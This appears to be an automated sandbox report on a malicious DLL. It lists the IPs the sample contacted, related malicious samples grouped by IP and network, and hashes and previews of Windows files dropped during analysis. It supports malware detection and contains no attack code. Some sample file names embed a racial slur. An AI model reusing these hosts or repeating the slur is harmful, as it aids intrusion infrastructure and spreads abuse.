45.142.114.231	unknown	Germany	44066	DE-FIRSTCOLOwwwfirst-colonetDE	true
203.114.109.124	unknown	Thailand	131293	TOT-LLI-AS-APTOTPublicCompanyLimitedTH	true
210.57.217.132	unknown	Indonesia	38142	UNAIR-AS-IDUniversitasAirlanggaID	true
58.227.42.236	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
185.184.25.237	unknown	Turkey	209711	MUVHOSTTR	true
158.69.222.101	unknown	Canada	16276	OVHFR	true
104.251.214.46	unknown	United States	54540	INCERO-HVVCUS	true

Private

IP
192.168.2.1
127.0.0.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	532100
Start date:	01.12.2021
Start time:	18:26:06
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	mal2.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.troj.evad.winDLL@39/21@0/31
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 10.3% (good quality ratio 9.8%) Quality average: 72.3% Quality standard deviation: 24.7%
HCA Information:	Successful, ratio: 99% Number of executed functions: 40 Number of non-executed functions: 171
Cookbook Comments:	Adjust boot time Enable AMSI Sleeps bigger than 120000ms are automatically reduced to 1000ms Found application associated with file extension: .dll
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe Excluded IPs from analysis (whitelisted): 23.35.236.56, 20.42.65.92, 80.67.82.211, 80.67.82.235 Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, e1723.g.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, onedsblobprdeus17.eastus.cloudapp.azure.com, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
18:27:12	API Interceptor	1x Sleep call for process: svchost.exe modified
18:29:34	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
195.154.133.20	mal2.dll	Get hash	malicious	Browse
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse
	9sQccNfqAR.dll	Get hash	malicious	Browse
	FILE_464863409880121918.xlsm	Get hash	malicious	Browse
	9sQccNfqAR.dll	Get hash	malicious	Browse
	t3XtgyQEoe.dll	Get hash	malicious	Browse
	t3XtgyQEoe.dll	Get hash	malicious	Browse
	SCAN_35292280954166786.xlsm	Get hash	malicious	Browse
	U4pi8WRxNJ.dll	Get hash	malicious	Browse
	oERkAQeB4d.dll	Get hash	malicious	Browse
	FC9fpZrma1.dll	Get hash	malicious	Browse
	Z4HpRSQD6I.dll	Get hash	malicious	Browse
	uLCt7sc5se.dll	Get hash	malicious	Browse
	rGF1Xgw9Il.dll	Get hash	malicious	Browse
	nBtjFS1D08.dll	Get hash	malicious	Browse
	q8HPR8Yypk.dll	Get hash	malicious	Browse
	mZuFa05xCp.dll	Get hash	malicious	Browse
	TEm3oBxeXS.dll	Get hash	malicious	Browse
212.237.17.99	mal.dll	Get hash	malicious	Browse
	mal2.dll	Get hash	malicious	Browse
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse
	9sQccNfqAR.dll	Get hash	malicious	Browse
	FILE_464863409880121918.xlsm	Get hash	malicious	Browse
	9sQccNfqAR.dll	Get hash	malicious	Browse
	t3XtgyQEoe.dll	Get hash	malicious	Browse
	t3XtgyQEoe.dll	Get hash	malicious	Browse
	SCAN_35292280954166786.xlsm	Get hash	malicious	Browse
	U4pi8WRxNJ.dll	Get hash	malicious	Browse
	oERkAQeB4d.dll	Get hash	malicious	Browse
	FC9fpZrma1.dll	Get hash	malicious	Browse
	Z4HpRSQD6I.dll	Get hash	malicious	Browse
	uLCt7sc5se.dll	Get hash	malicious	Browse
	rGF1Xgw9Il.dll	Get hash	malicious	Browse
	nBtjFS1D08.dll	Get hash	malicious	Browse
	q8HPR8Yypk.dll	Get hash	malicious	Browse
	mZuFa05xCp.dll	Get hash	malicious	Browse
	TEm3oBxeXS.dll	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ARUBA-ASNIT	mal.dll	Get hash	malicious	Browse	212.237.56.116
	GYRxsMXKtvwSwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	KsXtuXmxoZvgudVwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	xTpcaEZvwmHqwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	mal2.dll	Get hash	malicious	Browse	212.237.56.116
	GYRxsMXKtvwSwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	KsXtuXmxoZvgudVwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	xTpcaEZvwmHqwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	invoice template 33142738819.docx	Get hash	malicious	Browse	94.177.217.88
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse	212.237.56.116
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse	212.237.56.116
	9sQccNfqAR.dll	Get hash	malicious	Browse	212.237.56.116
	FILE_464863409880121918.xlsm	Get hash	malicious	Browse	212.237.56.116
	9sQccNfqAR.dll	Get hash	malicious	Browse	212.237.56.116
	t3XtgyQEoe.dll	Get hash	malicious	Browse	212.237.56.116
	t3XtgyQEoe.dll	Get hash	malicious	Browse	212.237.56.116
	QUOTATION FORM.exe	Get hash	malicious	Browse	62.149.128.45
	MA4UA3e5xe	Get hash	malicious	Browse	46.37.10.252
	SCAN_35292280954166786.xlsm	Get hash	malicious	Browse	212.237.56.116
	seL794VuEm	Get hash	malicious	Browse	31.14.139.79
OnlineSASFR	mal.dll	Get hash	malicious	Browse	195.154.133.20
	mal2.dll	Get hash	malicious	Browse	195.154.133.20
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse	195.154.133.20
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse	195.154.133.20
	spZRMihlrkFGqYq1f.dll	Get hash	malicious	Browse	195.154.146.35
	spZRMihlrkFGqYq1f.dll	Get hash	malicious	Browse	195.154.146.35
	AtlanticareINV25-67431254.htm	Get hash	malicious	Browse	51.15.17.195
	9sQccNfqAR.dll	Get hash	malicious	Browse	195.154.133.20
	FILE_464863409880121918.xlsm	Get hash	malicious	Browse	195.154.133.20
	9sQccNfqAR.dll	Get hash	malicious	Browse	195.154.133.20
	t3XtgyQEoe.dll	Get hash	malicious	Browse	195.154.133.20
	t3XtgyQEoe.dll	Get hash	malicious	Browse	195.154.133.20
	67MPsax8fd.exe	Get hash	malicious	Browse	163.172.208.8
	Linux_x86	Get hash	malicious	Browse	212.83.174.79
	184285013-044310-Factura pendiente (2).exe	Get hash	malicious	Browse	212.83.130.20
	MTjXit7IJn	Get hash	malicious	Browse	51.158.219.54
	SCAN_35292280954166786.xlsm	Get hash	malicious	Browse	195.154.133.20
	gvtdsqavfej.dll	Get hash	malicious	Browse	195.154.146.35
	mhOX6jll6x.dll	Get hash	malicious	Browse	195.154.146.35
	dguQYT8p8j.dll	Get hash	malicious	Browse	195.154.146.35

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.chk Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.3593198815979092
Encrypted:	false
SSDEEP:	12:SnaaD0JcaaD0JwQQU2naaD0JcaaD0JwQQU:4tgJctgJw/tgJctgJw
MD5:	BF1DC7D5D8DAD7478F426DF8B3F8BAA6
SHA1:	C6B0BDE788F553F865D65F773D8F6A3546887E42
SHA-256:	BE47C764C38CA7A90A345BE183F5261E89B98743B5E35989E9A8BE0DA498C0F2
SHA-512:	00F2412AA04E09EA19A8315D80BE66D2727C713FC0F5AE6A9334BABA539817F568A98CA3A45B2673282BDD325B8B0E2840A393A4DCFADCB16473F5EAF2AF3180
Malicious:	false
Preview:	.......................3...w..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	MPEG-4 LOAS
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.24942706526168892
Encrypted:	false
SSDEEP:	1536:BJiRdfVzkZm3lyf49uyc0ga04PdHS9LrM/oVMUdSRU4x:BJiRdwfu2SRU4x
MD5:	46882A6830E76E84809FF61D41FC1A60
SHA1:	62C986CAD7FC75056669C8366B6299D7EC088CA9
SHA-256:	763C6AFC1CDB01A68D4CA86AB03C92DF28C1E60C840AECC73FA960C48D26CD32
SHA-512:	37F2DC3EA70AA2A9926010784A619B78AB5BA70F4CEA1C466C68699E59F9E360473A906AF50895BFCDB42980BDDBC1CB321E9D8FF432F1628A9F65A99FC08B29
Malicious:	false
Preview:	V.d.........@..@.3...w...........................3...w..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.........................................d#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xecb7d22b, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	786432
Entropy (8bit):	0.2506006063210868
Encrypted:	false
SSDEEP:	384:xrK+W0StseCJ48EApW0StseCJ48E2rTSjlK/ebmLerYSRSY1J2:xrlSB2nSB2RSjlK/+mLesOj1J2
MD5:	A47C47EF3D00475460F84F8516370E92
SHA1:	7F689445BF7967C5252B85CA244EE87D5B5C30C9
SHA-256:	4F0043163E1434024C3DE253F0DAF6FE34477506B00A169EF90DEEEDC8B172BE
SHA-512:	6B1E60A8946E8B00D01C081063CCDF145032767B76CDF694A59EA509638174C19BDD9729C46399A14547497884C5D94C0EF0CAAA77D91B7C62C612F482849951
Malicious:	false
Preview:	..+... ................e.f.3...w........................)..........y.......y#.h.(..........y....)..............3...w...........................................................................................................B...........@...................................................................................................... ...................................................................................................................................................................................................................................................N>8`.....y...................A......y..........................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07605342734948045
Encrypted:	false
SSDEEP:	3:rVT7vpPA4np/l/Ky67cyORShtl4AyOl/ill3Vkttlmlnl:RTrJAY/l/P67cyORifyOl/G3
MD5:	400EA9108E962862766500814F7D3466
SHA1:	87F9A5FC0B7C862F8C32D5847BCEF1C9450FE8A3
SHA-256:	FD04432EDFD989575D48B36ECC56286B108A9917AB6A23E340A5168DB780C7BF
SHA-512:	BABB9019C2631B2095B88F19BBEE29A3892C4F098ECFB31435FC669300F08C29AF03AD8315290324CFEFABD9BFBAB0EC8C3270767ABB8540E7057955297334E0
Malicious:	false
Preview:	8......................................3...w.......y.......y...............y.......y..x........y...................A......y..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_loaddll32.exe_747b3d3843a661accc8c92924ccfd5a2e2d128_d70d8aa6_12d2c47d\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6740553107090325
Encrypted:	false
SSDEEP:	96:vh2Zqy4ky9hkoyt7JfqpXIQcQ5c6A2cE2cw33+a+z+HbHg4VG4rmMOyWZAXGng5+:OBwHnM28jj0q/u7sQS274ItW
MD5:	BE82113082E2819C42982B02E0A9BD2E
SHA1:	0063CD51A4884D06C037EDAED974D114F1AE3B69
SHA-256:	71EA212CDCB5DA9D3FB46094F4F25860CC7938FFBC922EAE53A7DE6F02E5149F
SHA-512:	1D8AA30CA1532B3DE428D0974918460BE02EFD9398FB2C1CDB40A1D53B2C62F1164F4CBD86D1CA9591DB41EE2C8F0F476957712E2598B23B9354398E5BB4BE1F
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.2.8.8.5.7.8.2.7.4.8.5.7.8.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.2.6.4.7.0.1.f.-.4.b.f.f.-.4.a.a.5.-.9.7.c.a.-.9.6.d.8.6.6.f.f.1.5.f.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.6.6.6.1.7.1.1.-.e.1.3.8.-.4.9.4.1.-.b.f.b.5.-.b.5.f.7.a.9.4.9.9.7.d.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.l.o.a.d.d.l.l.3.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.5.b.0.-.0.0.0.1.-.0.0.1.6.-.a.b.1.c.-.c.4.1.b.2.4.e.7.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.l.o.a.d.d.l.l.3.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.1././.0.9././.2.8.:.1.1.:.5.3.:.0.5.!.0.!.l.o.a.d.d.l.l.3.2...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_loaddll32.exe_d71d33d652a62c864cb684e881f783bcee8c2df7_d70d8aa6_11fb1c03\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6753216957227272
Encrypted:	false
SSDEEP:	96:0RFB82ZqyFky9hk1Dg3fWpXIQcQec6XFcE1cw3f+a+z+HbHg4VG4rmMOyWZAXGn5:ALvBmHgx/Lj0q/u7sQS274ItWA
MD5:	5B1C5CCFBA925A0022F40E0CEE00FEDB
SHA1:	CA6DA28C640B5982213ACEF6FEC1B111C089EE22
SHA-256:	57535D7DA24E9548E19ECAE80CEA01F7D68326C3EEC78D647305F3F7B3399D1F
SHA-512:	9E180B8A14A0384BB34784E16FEFD92EEFE4E8A22CA103E3B247174517DD7C14744873A5FDBA32867C6EC161CBEA45DB3C043E6A26CBE62D1B0F7C9A52D400E6
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.2.8.8.5.7.9.2.9.1.7.2.0.6.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.8.2.8.8.5.8.0.7.3.7.0.3.0.2.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.c.1.d.6.8.5.4.-.3.6.a.8.-.4.2.5.3.-.b.2.c.5.-.e.b.7.c.4.7.a.4.8.c.a.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.3.5.0.b.8.0.5.-.a.b.8.f.-.4.3.e.f.-.8.e.e.5.-.a.3.6.3.8.d.8.7.f.1.e.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.l.o.a.d.d.l.l.3.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.5.b.0.-.0.0.0.1.-.0.0.1.6.-.a.b.1.c.-.c.4.1.b.2.4.e.7.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.l.o.a.d.d.l.l.3.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB46F.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Dec 2 02:29:43 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	26296
Entropy (8bit):	2.5210712860247995
Encrypted:	false
SSDEEP:	192:BLSTpuda2OX0cYPKfXHWRlhvnQsPPud0MnY:MpBX0DPKf3WTh4sPPuK
MD5:	AAB65F6BFD0CCCB966FA7D8B3C42EED1
SHA1:	C5208BC22BF1768A49E1FAC1868CE5786BC7496B
SHA-256:	DB94B5E3D75A56D250D4A656C127B918D42A8B88635C72D0D4C3811F2C23DE9E
SHA-512:	80C7C663745DFD436D820EC3A4CB847A873044C959406F86D06FEFCE4C7B287FE7F59AF624DC3FA71D49D216C1808DC199FB2DCBC01E3B0EF65D3FF91843DB15
Malicious:	false
Preview:	MDMP....... ......../.a............4...............H.......$...........................`.......8...........T...........h...PZ...........................................................................................U...........B......p.......GenuineIntelW...........T..............a0............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB8C6.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8340
Entropy (8bit):	3.702469143283619
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNisX6TBi6YIFSUEsgmfcSzpCpBx89bL5sfG5m:RrlsNi86Q6Y6SUEsgmfcSzdLSfJ
MD5:	E1387B79527B0F7C5B2F7AF6E4A19E54
SHA1:	44B0651BB01C15A2813E87D0D623A0F02354EA1B
SHA-256:	420AE0927113DAF8FD0BC36D83AB80D62239FB7E9B7AE97DDF382FD72CDEFAA0
SHA-512:	90FF0BC1B0684C978CA4F9F9E01155AE4E8916BC0D8F67C212B0CF8604990839FB228A0A88D222375F7EC8A0D38D31ACB5B5CC1EB8F8CE7F112C8E22437C2DF1
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.4.5.6.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBC41.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4598
Entropy (8bit):	4.478117007255109
Encrypted:	false
SSDEEP:	48:cvIwSD8zs7uiJgtWI9HoSWSC8Bv8fm8M4J2ynZF8+q84WDhKcQIcQwQVTd:uITf7uwsozSNOJ1YYhKkwQVTd
MD5:	2D3F62C4A24855DABE5433BF864A0808
SHA1:	425FDF2F32B9B96E06F14A0737032C6D05F1D61F
SHA-256:	BFA43B078D32ADB3D8A78A94108E56A392A80539D2F451E338647F61858FFF58
SHA-512:	E5EFF8935C708AC7EC8E4369A8298403270A2122C8322906F03BD239AE207F9F4C7102A3CE9BC57E7B77DB8AC566D6CCF6828A774E487AA1863B3D4C0F47AEB0
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1279420" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD250.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	48280
Entropy (8bit):	3.0668805174003246
Encrypted:	false
SSDEEP:	768:4oHIWaUE2sVcr22+ktXYVnZiCnN/17yikONct9d3FA/vEyaw/R:4oHjaGsVcr22jtXYVnZiUN/17yikONc6
MD5:	9D6EA18F0C9A3E42895DCE6A7D053153
SHA1:	292776A1784841FB8747847B331AF63CC0BE3B5F
SHA-256:	3AA4FBF2E7004BFF21138200358B14F8163767731CD42A4A998E08E996458596
SHA-512:	913AC1F2E21B5404A28B0356EC0057597A93DFBDDCC637789FE779810B498D183C0FF51835096716F6A9B64881245FA91117A43B53256F2283DC87ADC311440E
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD704.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.69398988774531
Encrypted:	false
SSDEEP:	96:9GiZYWfo9Ye2gYJpYVWqpOH+UYEZ2LtFivZWoAwOO3AO2adEYcRoIhS3:9jZDYgqkoadEYcRPhS3
MD5:	8BCF9317469B01F7DA25DEBEB94A1BC3
SHA1:	0C8E3189A1989713BC69F55BCECC9A7259C59EDC
SHA-256:	81A00250D03925CE08193E09D29FCA1034984D12ED7268F7DA2FEEC1F3505B99
SHA-512:	F95E1979E53BBAD689D698DDDAACEBFC7EBD6028951D7C282A6506D9F445162CBBE227DBB0BE3F8611278FD796AF85D75093BCCE69E13EE2066322B3FE4D10E9
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDC2B.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Dec 2 02:29:53 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	1059292
Entropy (8bit):	1.3394211426156184
Encrypted:	false
